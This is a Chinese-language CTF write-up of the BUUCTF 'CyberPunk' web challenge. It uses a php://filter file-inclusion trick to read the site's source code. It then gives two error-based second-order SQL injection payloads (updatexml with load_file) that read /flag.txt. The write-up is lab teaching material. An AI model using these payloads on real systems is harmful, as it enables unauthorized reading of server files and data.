BUUCTF Web CyberPunk WriteUp

在这里插入图片描述

想直接查看payload的点这里

前言

二次注入(Second-Order Injection)是指攻击者在应用程序中注入恶意数据,然后在稍后的操作或不同的上下文中再次使用该恶意数据,导致安全漏洞。它通常发生在数据库查询、数据导出、报告生成等过程中。

典型的二次注入示例包括在用户注册时注入恶意代码,然后在管理员操作中触发执行,或者在数据库操作中注入恶意代码。为防止二次注入,应采取综合的安全措施,包括输入验证、参数化查询、代码审计和安全编码实践。

对于SQL注入问题,使用参数化查询或预编译语句,并对用户输入进行严格验证和过滤,可防止恶意SQL代码注入。对于二次注入,还需考虑应用程序的整体逻辑和数据流程,确保数据在后续处理中也得到适当处理和过滤,以防再次执行恶意代码。


正文

查看源码,发现提示,有可能存在文件包含

在这里插入图片描述

还在源码看到存在index.php,change.php,comfirm.php,delete.php,search.php这些文件

可以用php伪协议fenbie依次读取这些文件:

?file=php://filter/convert.base64-encode/resource=index.php

php://filter/convert.base64-encode/resource=index.php 是一个针对 PHP 文件的路径表达式,它使用了 php://filter 伪协议和 convert.base64-encode 过滤器。

它的含义是将目录下的 index.php 文件内容以 Base64 编码的形式读取。

在这里插入图片描述

查看index.php代码可以发现,提交订单的数据要通过confirm.php校验,其中没有校验address地址值。

在这里插入图片描述

再查看change.php代码可以发现,修改订单时只用addslashes函数对address函数进行了转义。

在这里插入图片描述

再看change.php中最关键一行sql语句:

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

它把在index.php中提交的旧地址(old_address)重新保存到数据库里。

所以可以在index.php提交订单的时候,在地址里输入sql注入语句,然后在change.php中修改订单时当时的sql注入语句被执行,这就是二次注入。
这里使用报错注入,然后因为updatexml最多一次显示32个字符,所以用两个payload分开读取flag。

payload:

1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,30)),0x7e),1)#

提交订单:

在这里插入图片描述

修改订单成功读取到flag:

在这里插入图片描述

同理再提交订单修改订单获取后半段的flag:
在这里插入图片描述

flag{5cd7240e-e619-4ddf-8bfc-7300b3e1841d}

提交flag

在这里插入图片描述
相关文章:
MySQL 文件读写
探索php://filter在实战当中的奇技淫巧
updatexml mysql_深入浅出带你玩转sqlilabs

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/14346.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里云coluder认证训练营开班!

在这个充满机遇和挑战的时代里,云计算已经成为推动企业创新和发展的关键技术。而作为云计算人才培训领域的领军企业,摩尔狮致力于培养更多优秀的云技术人才, 所以摩尔狮联合阿里云为大家打造了免费的云计算入门课程——Clouder认证集训营&…

END-TO-END OPTIMIZED IMAGE COMPRESSION论文阅读

END-TO-END OPTIMIZED IMAGE COMPRESSION 文章目录 END-TO-END OPTIMIZED IMAGE COMPRESSION单词重要不重要 摘要: 单词 重要 image compression 图像压缩 quantizer 量化器 rate–distortion performance率失真性能 不重要 a variant of 什么什么的一个变体 …

【LangChain】Document篇

概述 这些是处理文档的核心链。它们对于总结文档、回答文档问题、从文档中提取信息等很有用。 这些链都实现了一个通用接口: class BaseCombineDocumentsChain(Chain, ABC):"""Base interface for chains combining documents."""a…

DEVICENET转ETHERCAT网关连接ethercat通讯协议详细解析

你有没有遇到过生产管理系统中,设备之间的通讯问题?两个不同协议的设备进行通讯,是不是很麻烦?今天,我们为大家介绍一款神奇的产品,能够将不同协议的设备进行连接,让现场的数据交换不再困扰&…

TiDB(7):技术内幕之存储

1 引言 数据库、操作系统和编译器并称为三大系统,可以说是整个计算机软件的基石。其中数据库更靠近应用层,是很多业务的支撑。这一领域经过了几十年的发展,不断的有新的进展。 很多人用过数据库,但是很少有人实现过一个数据库&a…

OpenCV绘制矩形

这是完整的代码: #include <opencv2/opencv.hpp>int main() {// 创建一个白色的图像cv::Mat image(500, 500, CV_8UC3, cv

2-Spring cloud之Eureka快速剔除失效服务

2-Spring cloud之Eureka快速剔除失效服务 1. eureka server端修改yml配置2. 客户端配置 1. eureka server端修改yml配置 添加如下配置&#xff1a; server:enable-self-preservation: false # 关闭自我保护eviction-interval-timer-in-ms: 3000 # 清理间隔(剔除失效服务…

cmake流程控制--循环

目录 for循环 普通方式 demo cmake3.17中添加了一种特殊的形式,可以在一次循环多个列表,其形式如下: demo 类似python语言的for循环 demo while循环 demo cmake跳出循环(break)和继续下次循环(continue) demo block()和endblock()命令定义的块内也是允许break()和c…

MySQL CDC技术方案梳理

本篇主要探讨MySQL数据同步的各类常见技术方案及优劣势对比分析&#xff0c;从而更加深层次的理解方案&#xff0c;进而在后续的实际业务中&#xff0c;更好的选择方案。 1 CDC概念 CDC即Change Data Capture&#xff0c;变更数据捕获&#xff0c;即当数据发生变更时&#xff…

反诈防骗网络安全知识竞赛导出排行榜数据到excel遇到的问题复盘

在昨天的反诈防骗网络安全知识竞赛活动结束后&#xff0c;应主办方要求&#xff0c;我就帮忙导出排行榜全部数据&#xff08;含排名、编号、赛区、成绩、答题用时、答题日期等信息&#xff09;。 导出excel后&#xff0c;打开查看&#xff0c;发现有好几条数据的答题日期并不是…

ubuntu系统自带的Text Editor编辑器不高亮解决办法

平时在写launch文件时&#xff0c;我喜欢用ubuntu系统自带的text编辑器&#xff0c;但发现使用text打开launch 文件时&#xff0c;没有高亮功能了&#xff0c;如下图所示&#xff1a; 解决办法非常简单&#xff0c;因为launch和xml文件语法规则类似&#xff0c;只需将text编辑…

VSCode 免安装及中文设置

前言&#xff1a;VSCode作为目前最强大的文本编辑器&#xff0c;通过内部的插件市场可满足各种开发需求。使用免安装版可以自定义插件安装位置等&#xff0c;而使用安装包安装只能通过修改快捷方式自定义&#xff0c;十分不方便。因此这里分享如何安装免安装版的VSCode。 下载…